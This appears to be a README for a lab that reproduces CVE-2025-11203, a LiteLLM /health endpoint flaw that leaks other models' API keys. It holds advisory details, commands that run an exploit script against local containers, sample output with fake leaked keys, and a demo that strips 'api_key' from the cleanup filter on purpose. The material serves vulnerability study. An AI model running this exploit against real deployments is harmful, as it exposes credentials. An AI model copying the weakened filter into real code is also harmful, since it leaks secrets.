
The code for personally reproducing the corresponding vulnerability
LiteLLM (versions < 1.63.14)
/healthendpoint, when processing theapi_keyparameter, does not properly filter sensitive information, causing authenticated users to retrieve API Keys stored in other model configurations. Theapi_keyfield that should have been removed by the_clean_endpoint_data()function is leaked in certain code paths.
| Field | Value |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) |
| Affected | LiteLLM < 1.63.14 |
| Fixed | v1.63.14+ (_clean_endpoint_data() fully applied) |
| Published | 2025-10-29 |
| Discovered by | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Reported to vendor | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
The /health endpoint of LiteLLM returns health status for all configured models. Normally, the _clean_endpoint_data()
function should remove sensitive fields (such as api_key, x-api-key, etc.) from the health check response.
However, before v1.63.14, this cleanup function was not executed or was executed incompletely in certain code paths, causing API Keys in model configurations to be returned in plaintext in the health check response.
| Endpoint | Method | Description |
|---|---|---|
/health | GET | Returns health status for all models |
/health/liveliness | GET | Liveness check |
/health/readiness | GET | Readiness check |
Authenticated users can obtain via health check endpoints:
# 1. Start vulnerable LiteLLM
docker compose up -d
# 2. Install dependencies
pip install -r requirements.txt
# 3. Run exploit script
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. View full response
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (Optional) Verify fixed version
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under
unhealthy_endpointssince the fake keys can't actually connect to OpenAI/Anthropic.
Fixed version refuses to leak:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
The vulnerability lies in the _clean_endpoint_data() function in litellm/proxy/health_check.py,
which filters sensitive fields like api_key via the ILLEGAL_DISPLAY_PARAMS list:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
In this demo we have removed "api_key" from ILLEGAL_DISPLAY_PARAMS using sed,
causing the /health response to return the raw model configuration, simulating a bypass of the cleanup function in certain code paths.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Fixed in v1.63.14, ensuring _clean_endpoint_data() is correctly invoked in all health check code paths.
/health endpointDisclaimer: This content is provided for educational purposes and authorized security testing only.